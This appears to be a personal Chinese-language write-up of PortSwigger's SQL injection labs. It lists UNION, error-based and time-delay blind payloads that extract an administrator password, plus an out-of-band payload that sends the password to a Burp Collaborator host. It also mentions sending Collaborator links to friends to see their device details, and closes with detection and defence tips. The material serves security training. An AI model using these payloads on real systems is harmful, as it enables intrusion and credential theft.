Burpsuite靶场----SQL注入专题
这里主要是个人笔记,记录一些我个人要记录的点,不算是完整的write up
burpsuite给了一个很好的各种sql语句差别的整合
https://portswigger.net/web-security/sql-injection/cheat-sheet
Lab: SQL injection attack, querying the database type and version on Oracle
在oracle数据库中,每个select语句后都必须指定选择的表名,恰好oracle中有一个内置的dual
表
可以尝试这样
' union select 'lnk','zing' from dual -- |
查询oracle数据库版本
SELECT banner FROM v$version |
payload
' union select banner,'cnc' from v$version -- |
SQL injection attack, listing the database contents on Oracle
查询oracle数据库的的表和段
SELECT * FROM all_tables |
Lab: Blind SQL injection with conditional responses
盲注脚本
其实用burpsuite跑很快就跑出结果了,python会慢一些,但是burp不能把字符串拼接起来
import requests |
这里我就只截一部分图了,懒得跑下去了,太慢了
Lab: Blind SQL injection with conditional errors
错误条件的盲注
首先加单引号报错,然后加个注释发现正常,所以判断SQL语句为
select trick_id from trick_tab where trick='vQdcV0dBQuBUyGx9' |
然后判断数据库,首先查询一个空值
' union select '' -- |
然后尝试oracle的dual表
' union select '' from dual -- |
页面正常,所以数据库为oracle
接着我们尝试去一个不存在的表中查询,发现又报错,这个很明显后端在把我们输入的语句当作代码执行
select '' from lnk |
这题和上面类似,只是将响应字符串取代为报错响应
于是我们参考构造payload
' union select case when(1=1) then to_char(1/0) else null end from users -- |
值得注意的是,当when中条件为真时,返回500,为假时,页面才是正常,这和上面刚好是相反的
一样的,首先用burp爆破出密码长度
' union select case when(username='administrator' and length(password)=1) then to_char(1/0) else null end from users -- |
结果如下,长度是20
exp
import requests |
Lab: Blind SQL injection with time delays and information retrieval
时间盲注,用burp cheat sheet给的payload fuzz下数据库,发现是PostgreSQL
接着用类似的payload测试延时注入
' || (select case when (1=1) then pg_sleep(1) else pg_sleep(0) end from users) -- |
burp测试一下,password长度还是20
' || (select case when (username='administrator' and length(password)=20) then pg_sleep(1) else pg_sleep(0) end from users) -- |
这里python脚本的timeout和sleep不太一样,我暂时还爆破不出来,如果有知道的师傅希望能告诉我一下(🏀⚽️了
用burp爆破只能开1个线程,开多了也会导致有错误,反正就挺恶心挺费时的这题
payload
'+||+(select+case+when+(username='administrator'+and+substring(password,§1§,1)='§a§')+then+pg_sleep(2)+else+pg_sleep(0)+end+from+users)+-- |
Lab: Blind SQL injection with out-of-band interaction
利用带外(OAST)技术发动盲注
点击burp的Burp Coolaborator client生成一个临时地址,发送给你的好友,他们点击之后就会收到一些信息
看ua头可以看到对方的一些设备基本信息
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual-- |
这个是burp给的一个payload模板,打过去就可过这个lab
第二个实验就是用oast技术泄漏出信息
我们可以在上面模板中的域名里写入sql语句带出查询的数据
payload
x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select password from users where username='administrator')||'~cp5gpi5bar1xg1c1n8t3ehnk5bb1zq.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual-- |
这样就带出了密码
二次注入
burp的这张图很形象的展示了二次注入的基本利用
首先查询一个正常的,接着以分号为界,后面的又会被当作sql语句去执行
总结和检测sql注入以及防御
- 可以通过工具比如burp和sqlmap进行检测sql注入
- 添加单引号’等字符查看是否有报错信息
- 提交一些特定sql语句,输入一些基本的值和其他的值,观察系统页面响应是否有变化或者差异
- 利用bool条件
or 1 = 1
和or 1 = 2
判断页面响应是否不一样 - 提交一些触发延时的payload看页面响应是否同延时有关
- 利用OAST payloads ,监视是否有交互
一些sql注入的点
一些数据库的不同造成的差异
防御
- 一般大部分的sql注入都可以通过预处理语句就是参数化查询来避免
- 完善白黑名单
- 关闭错误提示
- 统一编码
- 闭合可控的变量,并且转义
- 安装WAF
参考
Burpsuite靶场----SQL注入专题